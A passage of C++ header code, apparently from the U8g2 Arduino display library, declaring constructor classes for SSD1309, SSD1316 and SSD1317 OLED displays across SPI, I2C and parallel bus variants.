u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1309_128X64_NONAME0_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1309_128X64_NONAME0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1309_i2c_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_6800 : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_8080 : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_6800 : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_8080 : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_6800 : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_8080 : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1316_128X32_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1316_128X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1316_128X32_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1316_128X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1316_128X32_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1316_128X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_128X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_6800 : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_8080 : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_6800 : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_8080 : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_6800 : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_8080 : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_96x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1316_96X32_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1316_96X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1316_96X32_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1316_96X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1316_96X32_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1316_96X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1316_96X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1316_i2c_96x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_6800 : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_8080 : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_4W_SW_SPI : public U8G2 {\n  public: 